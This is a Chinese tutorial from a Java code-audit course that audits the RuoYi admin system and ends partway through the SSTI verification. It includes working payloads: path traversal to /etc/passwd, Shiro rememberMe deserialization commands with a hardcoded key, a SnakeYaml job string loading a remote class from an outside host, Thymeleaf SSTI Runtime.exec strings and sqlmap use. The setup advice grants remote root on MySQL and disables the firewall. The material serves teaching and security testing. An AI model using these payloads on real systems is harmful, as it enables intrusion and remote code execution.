JavaWeb代码审计实战之若依管理系统,细节满满不得不好好学的一个系统

前言:

【如需转载,请详细表明来源,请勿设置原创】

嗨,朋友你好,我是闪石星曜CyberSecurity创始人Power7089。

今天为大家带来的是【炼石计划@Java代码审计】Java代码审计实战阶段文章。内部课程文章部分分享给大家学习,如果你想利用碎片化时间系统学习Java代码审计欢迎加入我们。

【炼石计划@Java代码审计】是一个利用碎片化时间即可从入门到提升系统化学习Java代码审计的成长型知识星球。这里不仅注重夯实基础,更加专注实战进阶。强烈推荐加入我们,一起来内卷Java代码审计。

炼石计划@Java代码审计

欢迎大家扫描下方二维码关注 “闪石星曜CyberSecurity” 公众号,这里专注分享渗透测试,Java代码审计,PHP代码审计等内容,都是非常干的干货哦。

公众号

一、项目简介

RuoYi 是一个 Java EE 企业级快速开发平台,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap),内置模块如:部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置;支持集群,支持多数据源,支持分布式事务。

内置功能详解如下:

  1. 用户管理:用户是系统操作者,该功能主要完成系统用户配置。
  2. 部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。
  3. 岗位管理:配置系统用户所属担任职务。
  4. 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
  5. 角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。
  6. 字典管理:对系统中经常使用的一些较为固定的数据进行维护。
  7. 参数管理:对系统动态配置常用参数。
  8. 通知公告:系统通知公告信息发布维护。
  9. 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
  10. 登录日志:系统登录日志记录查询包含登录异常。
  11. 在线用户:当前系统中活跃用户状态监控。
  12. 定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。
  13. 代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。
  14. 系统接口:根据业务代码自动生成相关的api接口文档。
  15. 服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。
  16. 缓存监控:对系统的缓存查询,删除、清空等操作。
  17. 在线构建器:拖动表单元素生成相应的HTML代码。
  18. 连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。

二、项目搭建

1、环境要求

1
2
3
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0

2、Windows环境的项目部署流程

基于windows10操作系统。

①、命令行进入Mysql,创建数据库名为ry,并切换使用该数据库。

1
2
create datavase ry; 创建名为ry的数据库
use ry; 切换使用ry数据库

②、将项目文件中的/sql/ry_20200323.sql的数据导入到ry数据库,注意导入路径中应使用正斜杠/

1
source /绝对路径/sql/ry_20200323.sql; 导入数据库文件

③、使用IDEA打开本项目,等待Maven自动加载依赖项,如果时间较长需要自行配置Maven加速源。几个现象表明项目部署成功。pom.xml文件无报错,项目代码已编译为classRun/Debug Configurations...处显示可以运行。

④、修改src\main\resources\application-druid.yml配置文件内容,具体如下图所示:

配置文件

⑤、点击启动Run/Debug Configurations...本项目。

⑥、项目访问地址如下:

  • 后台地址:http://127.0.0.1:8088/login

记得自己配下端口号,默认的是80端口。

⑦、登录账号密码admin\admin123

3、Linux环境的项目部署流程

基于VMware虚拟机中的搭建的Ubuntu20操作系统

注意:以下步骤需要Ubuntu系统中安装所需的软件,可参考星球之前发的一篇文章:https://t.zsxq.com/Ea6qF6Y

本项目的默认打包方式就是JAR形式。并且本项目构建为SpringBoot多模块形式。我们所需要的运行的Jar程序打包在了RuoYi-v4.2/ruoyi-admin/target目录下。

整体部署流程如下:

①、使用IDEA打开项目,我们修改一下数据源链接地址。如下图所示:

配置文件修改数据源地址

我为了方便,将数据源直接连接到了Windows下mysql,也就是PHPstaduy一键启动的。如果你也想这样做,请注意以下几点:

  • 宿主机和虚拟机需要在同一网段下,简单来说就是能互相ping通。
  • Mysql启用远程访问,命令如下:
1
2
GRANT ALL PRIVILEGES ON *.*  ‘root’@’%’ identified by ‘root’ WITH GRANT OPTION; 
flush privileges;

②、使用Maven打包项目,选择若依总项目,依次点击cleanpackage,如下图所示:

打包过程

③、我们将最终生成的ruoyi-admin.jar文件,复制粘贴到Ubuntu中。

④、在此,我们使用sudo java -jar ruoyi-admin.jar运行项目。如下图所示:

jar包启动成功

⑤、最后我们就可以正常访问了。

:warning:注意:

  • java -jar启动若依项目需要管理员权限,因此要在前面加上sudo,如果报错说找不到命令。需要修改/etc/sudoers文件中Defaults secure_path位置,在后面加上java路径,如下图所示:
1
sudo vim /etc/sudoers 打开该文件

配置sudo的java环境变量

  • 如果想要在其他环境中访问ruoyi,需要关闭防火墙,或者激活特定端口。偷个懒,直接关闭防火墙。
1
sudo ufw disable 关闭防火墙

三、代码审计漏洞挖掘

1、第三方组件漏洞审计

本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打开该若依,发现本项目采用了多模块方式。因此每个模块下都会有一个pom.xml,项目最外层的pom.xml为父POM。我们可以通过pom.xml或者External Libraries来确定引入组件的版本,具体整理如下:

组件名称 组件版本 是否存在漏洞
shiro 1.4.2 存在
thymeleaf 2.0.0 存在
druid 1.1.14 不存在
mybatis 1.3.2 不存在
bitwalker 1.19 不存在
kaptcha 2.3.2 不存在
swagger 2.9.2 不存在
pagehelper 1.2.5 不存在
fastjson 1.2.60 存在
oshi 3.9.1 不存在
commons.io 2.5 存在
commons.fileupload 1.3.3 不存在
poi 3.17 存在
velocity 1.7 存在
snakeyaml 1.23 存在

等等。

经过整理,我们发现本项目存在漏洞的组件为:Shiro 1.4.2Thymeleaf 2.0.0Fastjson 1.2.60Commons.io 2.5oi 3.17velocity 1.7snakeyaml 1.23……

通过版本号进行初步判断后,我们还需再进一步验证。

2、组件漏洞代码审计

针对存在漏洞的组件进行代码审计

2.1、Shiro组件漏洞代码审计

本项目使用了Shiro 1.4.2。Shiro在 1.4.2 到 1.8.0版本都是存在权限绕过的问题。

在代码审计中,我们主要关注Shiro配置文件,一般文件名为ShiroConfig。本项目Shiro配置文件位于RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java

进入Shiro配置文件,我们关注对资源访问的拦截器配置,位于第231行 ~ 276行。发现第272行作者使用了/**表达式,对路径进行拦截。因此,本项目不存在Shiro权限绕过的漏洞的。如下图所示:

shiro权限匹配模式

关于shiro的拦截匹配模式,Shiro的URL路径表达式为Ant格式有如下解释:

1
2
3
4
/hello:只匹配url,比如 http://7089.com/hello
/h?:只匹配url,比如 http://7089.com/h+任意一个字符
/hello/*:匹配url下,比如 http://7089.com/hello/xxxx 的任意内容,不匹配多个路径
/hello/**:匹配url下,比如 http://7089.com/hello/xxxx/aaaa 的任意内容,匹配多个路径

2.2、Fastjson组件漏洞代码审计

本项目使用了Fastjson 1.2.60Fastjson <= 1.2.68都是存在漏洞的。

已确定了Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数parseparseObject

搜索关键字发现本项目使用了parseObject,如下图所示:

parseObject关键字搜索

我们发现本项目使用的是JSONObject.parseObject方法,与第三套迷你天猫商城中JSON.parseObject()方法有所不同。JSONObject是一个继承自JSON的类,当调用JSONObject.parseObject(result)时,会直接调用父类的parseObject(String text)。两者也没什么区别,一个是用父类去调用父类自己的静态的parseObject(String text),一个是用子类去调用父类的静态parseObject(String text),两者调的是同一个方法。也是可以触发Fastjson反序列化漏洞的。

下面我们追踪下流程,看看是否有接收用户输入的地方。

①、双击进入VelocityUtils.java,第66行。代码如下图所示:

velocityUtils的66行

②、从代码中看到JSONObject.parseObject(options);需要一个参数为options,该参数通过第65行发现来自genTable.getOptions();,ctrl加鼠标左键跟进,getOptions()返回值为options,如下图所示:

getOptions返回值

③、继续跟进options,根据作者注释理解这是一个其它生成选项的字段。如下图所示:

其他生成选项字段

④、我们回过头来,追溯下功能点。跟进setTreeVelocityContext,发现是prepareContext中调用了它,如下图所示(为了便于截图展示,删除了部分代码):

跟进setTreeVelocityContext

其中涉及到了一个判断条件,跟进一下,看如何触发该条件。跟进GenConstants.TPL_TREE,看到定义了一个常量字符为tree。如下图所示:

GenConstants判断条件

进入TPL_TREE

再跟进下tplCategory,该值来自于genTable.getTplCategory();如下图所示:

跟进tplCategory

进入genTable.getTplCategory();后,看到getTplCategory()返回值就是tplCategory,如下图所示:

getTplCategory返回值

继续跟进tplCategory,根据作者注释,这应该是是一个使用模板的字段。该字段应该有两个值,一个是crud,一个是tree。所以我们再找到功能点时,应该将这个字段值设为tree,如下图所示:

tplCategory字段含义

中间穿插跟了下判断条件,我们继续追踪功能点。

⑤、回到prepareContext()方法,我们看下谁调用了他,发现GenTaleServiceImpl.java中第187行和250行都有所调用,如下图所示:

谁调用了prepareContext

⑥、单击进入GenTaleServiceImpl.java第187行,发现是previewCode方法使用了VelocityUtils.prepareContext(table);,其中table参数来自genTableMapper.selectGenTableById(tableId);根据tableId查询表信息返回的数据,如下图所示:

table参数查询表数据返回

也就是说,我们只能操控tableId参数。继续跟踪一下previewCode,如下图所示:

previewCode方法

⑦、(此处省略跳转到genTableService,无关紧要)ctrl加鼠标左键点击previewCode继续跟进,跳转到了GenController层,发现是preview使用了genTableService.previewCode(tableId);。如下图所示:

GenController的preview

并且通过注释信息了解到该功能是预览代码,路径是/tool/gen/preview,从路径中获取tableId

既然这样,这条链是没办法利用Fastjosn反序列化漏洞了。

梅开二度,找条别的链,继续试试。

追踪了刚才搜索的四个点,发现GenTaleServiceImpl.java第286行这个参数也是我们可以操控的。

追踪流程如下。

(需要tplCategory=tree才能进入该方法)

①、GenTaleServiceImpl.java第286行JSONObject.parseObject(options);处理options参数,该值来自String options = JSON.toJSONString(genTable.getParams());,如下图所示:

GenTaleServiceImpl的options值

②、跟进genTable.getParams(),跳转到了BASEEntity.java代码中,因为Gentable继承BASEEntity。(此处写错了,看成set方法了,去看一眼set发现没有什么多余动作,传什么返回什么)根据判断条件,如果params不等于null的话,直接返回params。跟进params,注释表明该字段为请求参数,并且params被定义成Map<String, Object>,可以理解为params字段中可以传任何类型的值在里面。如下图所示(为便于截图展示,删除了部分代码):

请求字段params

③、回到GenTaleServiceImpl.java,查看谁调用了validateEdit,跳转到了IGenTaleService第99行处,如下图所示:

validateEdit被调用

validateEdit的service层

④、继续跟进validateEdit,跳转到了GenController层第142行,如下图所示:

修改保存代码controller

至此,我们将这条链追踪完了。确定了功能点为代码生成处的修改保存生成业务,该路径部分为edit,完整路径为/tool/gen/edit,请求方法为POST,并且主要关注params这个字段。

2.3、SnakeYaml组件漏洞代码审计

SnakeYaml在Java中,是用于解析YAML格式的库。

在第三方组件漏洞审计处,确定了SnakeYaml版本为1.23,被定为存在漏洞。

事实上,SnakeYaml几乎全版本都可被反序列化漏洞利用。

2.3.1、漏洞简述

SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。

全局搜索漏洞函数关键字,发现本项目并没有使用到Yaml.load()函数,如下图所示:

yamlload全局搜索

提前透露下,该漏洞可以和本项目定时任务配合打出RCE效果。

在这之前,请大家拓展学习下篇文章,补一下基础。

1
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

该部分漏洞验证将在渗透测试漏洞挖掘章节中配合定时任务功能进行讲述。

2.4、Thymeleaf组件漏洞代码审计

在第三方组件漏洞审计时,了解到Thymeleaf组件版本为2.0.0,该版本存在SSTI(模板注入)漏洞。

关于什么是Thymeleaf,推荐学习这篇文章:https://waylau.gitbooks.io/thymeleaf-tutorial/content/docs/introduction.html

2.4.1、什么是SSTI(模板注入)漏洞

Server-Side Template Injection简称SSTI,也就是服务器端模板注入。

所谓的模板即为模板引擎

本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎,如:velocity,freemarker,jade等等。

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板加上用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板注入(SSTI)漏洞成因,是因为服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

2.4.2、Thymeleaf模板注入漏洞简介

Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中使用th:fragment、th:text这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用${...}或其他表达式中时内容会被Thymeleaf EL引擎执行。因此我们将攻击语句插入到${...}表达式中,会触发Thymeleaf模板注入漏洞。

如果带有@ResponseBody注解和@RestController注解则不能触发模板注入漏洞。因为@ResponseBody@RestController不会进行View解析而是直接返回。所以这同样是修复方式。

2.4.3、发现SSTI(模板注入)漏洞点

我们在审计模板注入(SSTI)漏洞时,主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。

在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。

所谓可控,也就是接受输入。对应上面两个关注点,举例说明如下。

1、URL路径可控

1
2
3
4
5
6
7
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
public String hello(@PathVariable("name") String name, @PathVariable("sex") String sex){
return "Hello" + name + sex;
}
}

2、return内容可控

1
2
3
4
5
6
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}

视角转回到本项目。

根据上面两个关注点,对若依v4.2进行了一番探索。并没有发现存在Thymeleaf模板注入漏洞点。

但在若依v4.7.1发现存在return内容可控的情况。为了学习该漏洞,下面以若依v4.7.1版本进行Thymeleaf模板注入代码审计学习。

若依v4.7.1RuoYi-v4.7.1\ruoyi-admin\src\main\java\com\ruoyi\web\controller\monitor下多了一个CacheController.java文件。该文件下有多个地方Return内容可控,如下图所示:

多个return内容可控

简单理解:接收到fragment后,在return处进行了模板路径拼接。

根据代码我们知道根路径为/monitor/cache,各个接口路径分别为/getNames/getKeys/getValue。请求方法为POST,请求参数均为fragment

知道了这些内容,我们在渗透测试部分进行漏洞验证。

系统还有存在其他漏洞点,大家可以自由发挥找一找。

3、单点漏洞审计

3.1、SQL注入漏洞代码审计

单点漏洞代码审计首当其冲当然要先看SQL注入漏洞是否存在,全局搜索关键字$,并限定文件类型为.xml,发现sysDeptMapper.xmlsysUserMapper.xml有存在SQL注入的地方,如下图所示:

sql注入mapper文件

挑个幸运的Mapper小伙伴,追踪下流程,找到他的注入点。

那就选择SysRoleMapper.xml这个吧,刚刚搜索结果他们没在一起。如下图所示:

SQL注入RoleMapper

①、点击进入SysRoleMapper.xml,SQL注入点在第58行,使用$直接拼接了参数,如下图所示:

rolemapper的sql注入点位置

②、点击左侧箭头快速跳转到DAO层(IDEA中需要安装Free Mybatis plugin插件),如下图所示:

SQL注入点dao层

③、键盘按住Ctrl加鼠标左键,点击selectRoleList,查看谁调用了它。最终来到SysRoleServiceImpl的实现层,如下图所示:

selectRoleList的调用

④、进入SysRoleServiceImpl后,再回溯到SysRoleService层,可使用左侧快速跳转按钮。或者选中selectRoleList后使用快捷键ctrl+u,如下图所示:

SQL注入实现层

sql注入service层

⑤、键盘按住Ctrl加鼠标左键,点击selectRoleList,回溯到Controller层,最终发现是SysRoleController调用了这个方法,如下图所示:

sql注入service的controller调用

⑥、点击进入,最终定位到src\main\java\com\ruoyi\web\controller\system\SysRoleController.java,第58行和第68行都有调用,如下图所示:

SQL注入Controller层

⑦、键盘按住Ctrl加鼠标左键,点击SysRole,进入看看定义了哪些实体类,其中发现了DataScope,如下图所示:

sysrole字段

⑧、回顾追溯流程

回顾下整理流程,如下所示:

sysRoleMapper.xml -> SysRoleMapper.java -> SysRoleServiceImpl.java -> ISysRoleService.java -> SysRoleController.java

回溯全流程

简单说,我们从XxxxMapper文件追踪到Controller层,主要就是在找漏洞入口。顺带看看整个流程是否对参数有特殊处理。

⑨、汇总信息

最后,我们将追溯的过程,以及有用的信息汇总一下。

  • 通过Controller层,我们可以知道,漏洞URL路径为/system/role/list
  • 通过Service层和Controller层的注释,我们大致知道该功能位于角色信息处。

大致知道这些信息后,下一步访问WEB页面,找找这个功能,并通过渗透测试验证一下。

剩下几个还存在SQL注入漏洞的地方,追溯过程留作业给你们。务必动手操作,加深印象。举一反三,形成笔记后,并提交到对应的作业处。

3.2、Shiro密钥硬编码代码审计

在看Shiro配置文件时,发现了Shiro密钥硬编码写在了代码文件中。代码位于RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java,第331行。如下图所示:

shiro硬编码密钥

在黑盒测试中,我们常使用爆破的方式来探测目标是否使用了常见的弱密钥。

但在代码审计我们可以直接通过搜索关键字setCipherKey,来看看密钥是否硬编码在了代码中。

攻击者在知道了密钥后,就可以构造恶意payload,经过序列化、AES加密、base64编码操作加工后,作为cookie的rememberMe字段发送。Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞,进而在目标机器上执行任意命令。

既然我们从代码处知道了密钥,那么我们就可以直接对他进行反序列化攻击了。

3.3、定时任务功能漏洞代码审计

在项目简介中,我们了解到本项目中有使用到定时任务功能。

又根据官方文档的文件结构处,我们了解到本项目定时任务功能在ruoyi-quartz 模块下,使用的是quartz 框架。如下图所示:

ruoyi-quartz文件结构

进入ruoyi-quartz 模块src\main\java\com\ruoyi\quartz下,我们先关注controller文件代码。我们知道Controller也是控制层,主要负责具体的业务模块流程的控制,简单说就是与前台互交,接受前台传来的参数后,再向Service层传输。

打开controller文件下,有两个代码文件,分别是SysJobControllerSysJobLogController。根据代码注释了解了大致作用,如下图所示:

SysJobController注释信息

SysJobLogController注释信息

现在,我们对SysJobController下的run方法进行追踪,根据注释该方法为任务调度立即执行一次,如下图所示:

run方法立即执行一次

Ctrl加鼠标左键点击jobService.run(job),进入Service层后,无其他执行代码,继续跟踪到实现层,最终代码位于RuoYi-v4.2\ruoyi-quartz\src\main\java\com\ruoyi\quartz\service\impl\SysJobServiceImpl.java第180行到188行。如下图所示:

run的实现层代码

第182,183行作用为通过调度任务ID查询调度信息。

第185行,实例化了JobDataMapJobDataMap 通过它的超类 org.quartz.util.DirtyFlagMap 实现了java.util.Map 接口,你可以向 JobDataMap 中存入键/值对,那些数据对可在你的 Job 类中传递和进行访问。这是一个向你的 Job 传送配置的信息便捷方法。简单说,Job 运行时的信息保存在 JobDataMap 实例中。

最终在第187行,使用scheduler.triggerJob(JobKey var1, DataMap var2)为触发标识JobDetail(立即执行)。JobDetail用来描述Job的实现类及其它相关的静态信息,如Job名字、描述、关联监听器等等信息。其中triggerJob()方法需要两个参数,分别为JobkeydataMapdataMap来自上面输入的运行时信息。而此处的Jobkey是JobDetail创建的的唯一标识。简单说,到了这就开始执行定时任务了。

但最终方法的调用是在QuartzDisallowConcurrentExecutionQuartzJobExecution中用JobInvokeUtil.invokeMethod(sysJob);反射完成的。

QuartzDisallowConcurrentExecutionQuartzJobExecution两者区别根据代码注释可以知道一个禁止并发执行,一个允许并发执行。这两个参数也是可以从前端中设置的。但不论那种,最终都是调用的JobInvokeUtil.invokeMethod(sysJob);

进入JobInvokeUtil.invokeMethod(sysJob);,最终方法实现如下图所示:

invokeMethod最终调用

解读一下。

①、第25行到28行,为获取处理数据,打个端点可以直观看出来,如下图所示(建议自己动手操作看一下):

invokeMethod获取参数断点

②、第30到39行,有一个判断。若依支持两种方式调用,分别为支持Bean调用和Class类调用。此处判断我理解为通过beanname判断是否为有效的classname。也就是调用目标字符串是使用bean方式调用,还是使用Class方式调用。

此处,可以创建两种方式的目标字符串后,在if (!isValidClassName(beanName))处打个断点,分别执行跟踪一下,就能看明白了。

invokeMethod的class方式1

invokeMethod的class方式2

另一种调用方式,大家动手自己打个断点操作一下。进入管理系统,访问系统监控 - 定时任务,选择bean方式调用的任务,点击更多操作 - 执行一次

至此,定时任务流程到这就结束了。他是如何RCE的呢?老规矩,在渗透测试部分我们进行验证。

3.4、任意文件读取/下载漏洞代码审计

一般开发人员也都有比较好的习惯,对于注释方面写的也比较清楚。

我拿到一个项目,习惯大致浏览下项目代码(主要看注释),梳理下功能。

在本项目中,发现存在一处下载功能。

代码位于RuoYi-v4.2\ruoyi-admin\src\main\java\com\ruoyi\web\controller\common\CommonController.java第96行-第111行。通过注释一目了然该部分代码的作用。如下图所示:

任意文件下载代码

通过全局搜索关键字resourceDownload,发现并没有其他功能调用他。

既然这样,只能分析代码,自己构造请求了。

①、首先,漏洞代码点位于第118行,使用了FileUtils.writeBytes()方法输出指定文件的byte数组,即将文件从服务器下载到本地。其中该函数中有两个参数,分别为downloadPathresponse.getOutputStream()

getOutputStream()方法用于返回Servlet引擎创建的字节输出流对象,Servlet程序可以按字节形式输出响应正文。

②、downloadPath来自第103行,是由localPathStringUtils.substringAfter(resource, Constants.RESOURCE_PREFIX);组成。

StringUtils.substringAfter()方法为取得指定字符串后的字符串resource是请求中接收参数的字段。Constants.RESOURCE_PREFIX为设置的常量/profile,主要作用为资源映射路径的前缀。

③、localPath来自第101行注释为本地资源路径,通过打个端点,我们可以看到localPath: D:/ruoyi/uploadPath,是从src\main\resources\application.yml配置文件中第12行文件路径中获取的。如下图所示:

获取全局配置文件路径

④、通过第96行,知道接口路径为/common/download/resource,仅接受GET请求。

⑤、通过第97行,String resource知道接收参数值的为resource

汇总下信息。首先应该知道,处理整个文件流程,是没有任何防护的。

根据接口路径和接收参数字段组合为/common/download/resource?resource=

根据StringUtils.substringAfter()方法为取得指定字符串后的字符串,其中指定的字符串为/profile。也就是取得/profile之后的字符串。

那么最终,漏洞Payload为http://127.0.0.1/common/download/resource?resource=/profile/../../../../etc/passwd。具体几个../要看实际设置目录的深度。

下面我们从渗透测试部分进行漏洞验证。

四、渗透测试漏洞挖掘

1、SQL注入漏洞验证

1.1、漏洞简述

通过代码审计,我们了解到角色相关的功能下展示角色信息列表处存在SQL注入。

访问WEB页面,发现名叫角色管理的功能。

当然了,如果我们没有找到功能,也完全可以自己构造数据包。

1.2、漏洞验证

①、访问角色管理功能,通过点击下面的各个按钮,并配合BurpSuite抓包,发现搜索功能,会向/system/role/list接口发送数据,如下图所示:

角色管理-搜索

②、发送到Repeater模块,发现请求Body中没有DataScope,没关系,我们照葫芦画瓢自己添加上,最终如下图所示:

添加dataScope字段

③、输入单引号('),验证是否存在漏洞,发现返回了报错信息,如下图所示:

sql注入单引号报错

④、直接上SQLMAP,不多费时了,最终结果如下图所示:

sql注入之SQLMAP

2、Shiro反序列化漏洞验证

2.1、漏洞简述

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

尽管官方更新了很多版本,但还是没有将反序列化的本身问题解决。后续版本使用了每次生成一个密钥的方法来解决该漏洞。但是由于开源系统,或者教学代码范例常将弱密钥硬编码等原因,因此导致很多开发人员疏忽,经验不足而导致该问题的产生。

通过查看pom.xml文件我们确定了Shiro版本为1.4.2Shiro 1.4.2版本对于Shiro反序列化来说是个分水岭。由于CVE-2019-12422漏洞的出现,也就是Shiro Padding Oracle Attack漏洞。Shiro在1.4.2版本开始,由AES-CBC加密模式改为了AES-GCM。所以我们在做漏洞验证时,要将payload改成AES-GCM加密模式。

2.2、漏洞验证

在黑盒测试中,我们可以在Cookie中添加rememberMe=123,如果响应Set-Cookie头返回rememberMe=deleteMe,那么就可可以确定该系统使用了Shiro框架。如下图所示:

rememberme_deleteme

下面我们使用攻击脚本进行漏洞验证,该脚本在已添加至附件中。

:warning:该脚本基于Python3,在命令行中执行pip3 install pycryptodome,安装所需依赖包。

①、探测常见的弱密钥,执行命令如下:

1
python3 shiro-exploit.py check -u http://xxx/ 可以使用 -v来指定版本,默认是两个都探测,在黑盒测试中不必指定版本。

探测弱密钥

②、攻击AES-GCM加密模式的Shiro:

1
python3 shiro-exploit.py echo -g CommonsCollectionsK1 -u http://192.168.12.157:9999/ -v 2 -k fCq+/xW488hMTCD+cmJ3aQ== -c whoami

shiro执行命令

剩下的自己尽情发挥。

详细使用说明及教程,参考项目原地址:https://github.com/Ares-X/shiro-exploit

3、Fastjson漏洞验证验证

3.1、漏洞简述

在代码审计处发现该项目使用了存在漏洞版本的Fastjson。在代码审计处,我们确定了功能点为代码生成处的修改保存生成业务,该路径部分为edit,完整路径为/tool/gen/edit,请求方法为POST,并且主要关注params这个字段。

3.2、漏洞验证

进入若依管理后台。访问系统工具-代码生成-导入,先随便导入一个表,如下图所示:

代码生成功能导入一个表

:warning:注意:访问导入功能报错,如下图所示:

导入功能报错

这是因为是mysql自带的表information_schema.tables,与若依系统的表进行了关联查询。

而information_schema用的是utf8_general_ci编码排序,若依建数据库时,默认选了utf8_unicode_ci。

需要我们在创建若依数据库时将编码格式改为utf8_general_ci,如下图所示:

1
2
3
create database ry
default character set utf8
default collate utf8_general_ci;

设置若依数据库编码格式

一个小插曲,继续漏洞验证……

4、任意文件读取/下载漏洞验证

4.1、漏洞简述

第三章 3.4 任意文件读取/下载漏洞代码审计 处,通过代码审计角度发现本系统存在任意文件读取/下载漏洞。现在,我们从渗透测试角度进行验证。

4.2、漏洞验证

我们使用的是Linux环境启动的本项目。具体启动部署请跳跃到第二章 3、Linux环境的项目部署流程 处。

务必请注意以下两项:

①、在RuoYi-v4.2\ruoyi-admin\src\main\resources\application.yml配置文件中修改linux配置路径为/home/ruoyi/uploadPath未在Linux部署时说明,此时应注意),如下图所示:

linux配置文件路径

②、在Linux系统的/home目录下创建/ruoyi/uploadPath

启动项目,开始验证。

①、登录后台,此时用Burp随便抓个包。

②、使用代码审计构造出的payload进行构造请求,如下图所示:

渗透任意文件读取构造请求

③、点击发送数据包,即可看到/etc/passwd文件内容,如下图所示:

任意文件读取内容

5、定时任务处漏洞验证

5.1、漏洞简述

在对定时任务代码审计时发现该功能存在漏洞。在添加任务->调用目标字符串处可操作class类,通过代码审计发现使用的反射方式,也就是说目标class类存在漏洞的话即可利用反射触发RCE漏洞。

5.2、漏洞验证

我们使用的是Linux环境启动的本项目。具体启动部署请跳转到第二章 3、Linux环境的项目部署流程

在代码审计处,我们知道如果是调用class类,最终执行为Object bean = Class.forName(beanName).newInstance();

问题来了,如果此处想要成功实例化并且RCE的话,那么必须满足几个条件:

1
2
3
4
1、类的构造方法为Public
2、类的构造方法无参
3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
4、调用目标方法除了为Public,无参,还需要具有执行代码/命令的能力

有的朋友一开始会想到调用java.lang.Runtime.getRuntime().exec("")。但经过上面条件的梳理,发现该类不满足条件,因为他的构造方法是private。

不知道大家还记得SnakeYaml组件漏洞代码审计不。

在组件检测时发现了本项目使用了SnakeYaml。经过学习我们知道,该组件只要可以控制yaml.load()即可触发反序列漏洞。

经过探索学习,SnakeYaml的yaml.load()是满足以上条件的,具体操作如下。

5.2.1、基础验证

①、先登录DNSlog平台,获取一个DNSlog地址。

②、然后进入后台,访问系统监控-定时任务功能,点击新增,在目标字符串下添加如下内容(即攻击payload):

1
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["ftp://此处填入DNSlog地址"]]]]')

调用目标字符串yaml

③、点击确定后,在该页面点击更多操作-立即执行后,即可在DNSlog处看到探测信息,如下图所示:

dnslog探测结果

5.2.2、利用工具进一步攻击

推荐一款若依一键利用工具。项目地址:https://github.com/passer-W/Ruoyi-All

根据该工具介绍如下图所示:

ruoyiall工具介绍

我将该工具与本篇课程一起打包分享了出来,纯官方下载,放心使用。

①、打开该工具后,填写一些配置,其中包括目标URL和Cookie,如下图所示:

ruoyiall填写信息

②、然后点击确定,即开始漏洞检测。存在漏洞提示如下图所示:

ruoyiall检测出漏洞

:warning:注意:关于该漏洞进一步利用留个作业,大家务必动手研究一下,并形成学习文档提交到第五期作业处。不要仅仅以为自己看了就学会了。

6、Thymeleaf模板注入漏洞验证

6.1、漏洞简述

在代码审计处,我们发现若依v4.7.1存在Thymeleaf模板注入漏洞,并且存在return内容可控的漏洞点,我们通过渗透测试角度进行漏洞验证。

6.2、漏洞验证

Thymeleaf模板注入payload举例:

1
2
3
4
5
6
return内容可控:
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x

URL路径可控:
__${T(java.lang.Runtime).getRuntime().exec("touch test")}__::.x

本次漏洞验证我在Windows环境下进行的。

:warning:注意若依v4.7.1搭建部署与若依v4.2相同,数据库导入务必使用sql目录下的ry_20210924.sqlquartz.sql。先导入ry_20210924.sql

我们以getKeys接口为例,该漏洞点为return内容可控,具体漏洞验证如下。

①、正常启动项目,进入后台。我们发现在系统监控下有个缓存监控的功能,和代码审计发现的CacheControlle代码文件中功能注释一样。初步确定两者相同。

②、访问缓存监控功能。进入后,分别点击缓存列表键名列表旁的刷新按钮,会分别想getNamesgetKeys接口发送数据。如下图所示:

缓存监控getKeys

③、将数据包发送到Repeater模块,在fragment参数后构造攻击payload为__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe")}__::.x,对paylod进行URL编码后。发送数据包。响应报错,而且并没有弹出来计算器。如下图所示:

getkeys报错

